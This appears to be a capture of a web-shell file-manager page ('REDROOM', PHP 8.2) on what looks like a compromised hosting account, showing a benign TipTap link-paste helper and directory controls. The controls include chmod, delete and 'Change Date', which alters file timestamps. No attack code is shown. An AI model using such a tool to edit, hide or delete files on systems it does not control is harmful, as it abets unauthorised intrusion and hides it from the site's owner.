REDROOM
PHP 8.2.30
Path:
Logout
Edit File
Size: 1.21 KB
Close
/proc/thread-self/root/home/byroehnu/.trash/node_modules11/@tiptap/extension-link/src/helpers/pasteHandler.ts
Text
Base64
import { Editor } from '@tiptap/core' import { MarkType } from '@tiptap/pm/model' import { Plugin, PluginKey } from '@tiptap/pm/state' import { find } from 'linkifyjs' type PasteHandlerOptions = { editor: Editor type: MarkType } export function pasteHandler(options: PasteHandlerOptions): Plugin { return new Plugin({ key: new PluginKey('handlePasteLink'), props: { handlePaste: (view, event, slice) => { const { state } = view const { selection } = state const { empty } = selection if (empty) { return false } let textContent = '' slice.content.forEach(node => { textContent += node.textContent }) const link = find(textContent).find(item => item.isLink && item.value === textContent) if (!textContent || !link) { return false } const html = event.clipboardData?.getData('text/html') const hrefRegex = /href="([^"]*)"/ const existingLink = html?.match(hrefRegex) const url = existingLink ? existingLink[1] : link.href options.editor.commands.setMark(options.type, { href: url, }) return true }, }, }) }
Save
Close
Exit & Reset
Text mode: syntax highlighting auto-detects file type.
Directory Contents
Dirs: 0 × Files: 3
Delete Selected
Select All
Select None
Sort:
Name
Size
Modified
Enable drag-to-move
Name
Size
Perms
Modified
Actions
autolink.ts
4.00 KB
lrw-r--r--
2026-02-28 00:28:08
Edit
Download
Rename
Chmod
Change Date
Delete
OK
Cancel
recursive
OK
Cancel
recursive
OK
Cancel
clickHandler.ts
994 B
lrw-r--r--
2026-02-28 00:28:18
Edit
Download
Rename
Chmod
Change Date
Delete
OK
Cancel
recursive
OK
Cancel
recursive
OK
Cancel
pasteHandler.ts
1.21 KB
lrw-r--r--
2026-02-28 00:28:32
Edit
Download
Rename
Chmod
Change Date
Delete
OK
Cancel
recursive
OK
Cancel
recursive
OK
Cancel
Zip Selected
If ZipArchive is unavailable, a
.tar
will be created (no compression).